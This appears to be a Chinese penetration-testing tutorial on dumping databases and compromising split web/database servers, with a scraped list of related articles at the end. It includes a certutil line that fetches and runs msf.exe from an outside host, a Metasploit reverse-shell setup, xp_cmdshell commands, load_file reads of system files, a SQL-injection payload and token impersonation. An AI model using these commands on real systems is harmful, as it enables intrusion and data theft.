文章目录

  • 打包数据库文件
  • SQL语句打包数据库
    • MySQL
    • SQL server
  • 使用工具打包数据库
  • 站库分离渗透
    • 站库分离判断方法
    • 站库分离利用思路
    • 推荐阅读
  • 站库分离打包数据库
  • 解决MySQL禁止外连
    • 蚁剑
    • Navicat tunnel隧道

打包数据库文件

  1. access 数据库:mdb格式直接下载

  2. MySQL数据库:在路径mysql/data/下存放所有数据库,直接将文件夹复制到web目录tar打包下载

  3. mssql数据库:msdbdata.mdf msdblog.ldf 两个文件复制,直接下载

SQL语句打包数据库

MySQL

登录数据库,命令备份数据库

  • mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

  • cd /var/lib/mysql

    mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份

  • mysqldump --all-databases > 1.sql //备份所有数据库

数据库还原

  • mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

  • cd /var/lib/mysql

    mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

mysqldump 命令不仅可以在数据中使用,有权限的话也可以在命令行中使用

SQL server

登录数据库

backup database Test to disk='D:/Test.bak'

使用工具打包数据库

如果在知道数据库账密的情况下可以使用这种方式,存在web端数据管理直接用

mysql

  • adminer
  • phpmyadmin
  • navformysql

mssql

  • navfor for sql server

navicat 也是可以的

以及webshell管理工具如蚁剑、菜刀等都有数据管理功能

站库分离渗透

注:此部分转载于潇湘信安

站库分离其实就是管理员将网站程序和数据库分别放在了不同的服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据

Web入口渗透

通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透

Data入口渗透

从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们

通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透

站库分离判断方法

1.网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态,可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器

netstat -ano | findstr "1433"

2.数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外

3.MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port

select @@hostname;                                 //服务端主机名称
select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

也可以通过load_file()这个内置函数读取一些敏感文件,如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等

select load_file('C:/Windows/System32/drivers/etc/hosts');/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称
/etc/network/interfaces                            //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease             //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]

4.MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器

select host_name();                       //客户端主机名称
select @@servername;                      //服务端主机名称
select serverproperty('MachineName');     //服务端主机名称

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址

select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器

and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))

站库分离利用思路

1.下载远程文件

目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
C:ProgramDatamsf.exe

2.执行远程Payload

目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷

set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit

3.模拟令牌权限提升

笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌

在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌

支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等

C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E

推荐阅读

  • https://xz.aliyun.com/t/8584

站库分离打包数据库

  • MySQL

    站库分离情况下,MySQL数据库是一定支持外部访问的

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能,以及使用数据库管理工具打包

  • SQL server

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能

解决MySQL禁止外连

蚁剑

在地址上右击选择数据操作

点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的

Navicat tunnel隧道

目标 MySQL 不允许外连,但是可以上传 PHP 脚本:

这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:

实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:

如下:

接着连接的时候设置 HTTP 通道:

这个时候主机地址填写 localhost 即可:


脱库站库分离渗透解决MySQL禁止外连相关推荐

  1. 解决MySQL删除外键时报错Error Code: 1091. Can‘t DROP ‘XXX‘; check that column/key exists

    解决MySQL删除外键时报错Error Code: 1091. Can't DROP 'XXX'; check that column/key exists   长期不写基础的 MySQL 代码,笔者 ...

  2. 【MySQL】解决MySQL删除外键(foreign key)时报错问题

    [MySQL]解决MySQL删除外键(foreign key)时报错问题 文章目录 [MySQL]解决MySQL删除外键(foreign key)时报错问题 一.现象 二.分析 三.问题解决 四.拓展 ...

  3. mysql 从库跳过1062_3分钟解决MySQL 1062 主从错误

    1062错误----主键冲突,出现这种情况就是从库出现插入操作,主库又重新来了一遍,iothread没问题,sqlthread出错 解决方案:mysql> stop slave; mysql&g ...

  4. 解决MySQL删除外键时报错

    错误描述: 1.用NaviCat删除外键时报错. 截图: 2.直接使用命令删除: alert table _testinfo drop foreign key detailid 错误信息: 1025 ...

  5. 关于站库分离渗透思路总结

    0x00 前言 看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧. 0x01 正文 关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路. ...

  6. 关于站库分离渗透思考总结

    0x00 前言 看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧. 0x01 正文 关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路. ...

  7. golang github.com/go-sql-driver/mysql 遇到的数据库,设置库设计不合理的解决方法

    golang github.com/go-sql-driver/mysql 遇到的数据库,设置库设计不合理的解决方法,查询中报了以下这个错 Scan error on column index 2: ...

  8. mysql库的user表误删除或mysql的管理员密码丢失的解决方法

    mysql库的user表误删除或mysql的管理员密码丢失的解决方法 参考文章: (1)mysql库的user表误删除或mysql的管理员密码丢失的解决方法 (2)https://www.cnblog ...

  9. 判断web网站是否站库分离

    #注:此方法是针对已经获得一定的权限,如SQL查询,或者shell命令行(cmd.bash等) (1)查询web服务器名 LENOVO-GH*****---select @@servername; ( ...

  10. kettle4.1 连接 mysql8 库异常:org.gjt.mm.mysql.Driver

    问题描述: mysql版本:8.0.16 kettle版本:4.1 使用kettle4.1 连接 mysql8 库异常:org.gjt.mm.mysql.Driver 默认mysql驱动版本:mysq ...

最新文章

  1. tf.assign()函数简单解释
  2. MicroPython开发板:TPYBoard v102 播放音乐实例
  3. 利用微软平台生成报表,线性图,柱形图
  4. 【收集】程序员资源大全
  5. 重磅!“东方理工大学”来了!
  6. 摘得“2019最佳智能手机”大奖的华为P30系列究竟比iPhone XS系列强在哪
  7. TokenInsight:BTC新增人气缺乏,多头持仓量持续上升
  8. Python 一个无限 重复生成器的实现 和一个简洁的 quicksort
  9. matlab箭头梯度方向场,局部路径规划算法——人工势场法
  10. 面向电缆行业的高级计划与排程(商简SPS)解决方案
  11. ubuntu显卡驱动掉了重新装
  12. MATLAB 结构矩阵和单元矩阵
  13. 用vb程序设计输出100以内素数和
  14. 计算机怎么打出$符号,细说电脑上怎么打出特殊符号
  15. Windows+Anaconda+tensorflow+keras深度学习框架搭建--reproduced
  16. 什么是CUSDEC 报关单?
  17. 信息融合之Add与Concat,你了解它们吗?
  18. vue项目中如何引入阿里矢量图
  19. 微信小程序实现滚动吸顶
  20. 十周年探路云计算 亚马逊引领风向标

热门文章

  1. RS编码-Python工具包使用
  2. VMware5.5的序列号
  3. 12864 c语言,单片机12864 c程序
  4. 基础物理-机械振动与波
  5. eclipse安装yuicompressor插件
  6. Webshell实现与隐藏探究
  7. 网吧局域网搭建(思科网络方案课程设计)
  8. IDEA配置安卓环境
  9. 百度文库如何免费下载
  10. android imagebutton 动画,Android中ImageButton的三种点击效果—点击变化,点一次换一张,逐帧动画的实现...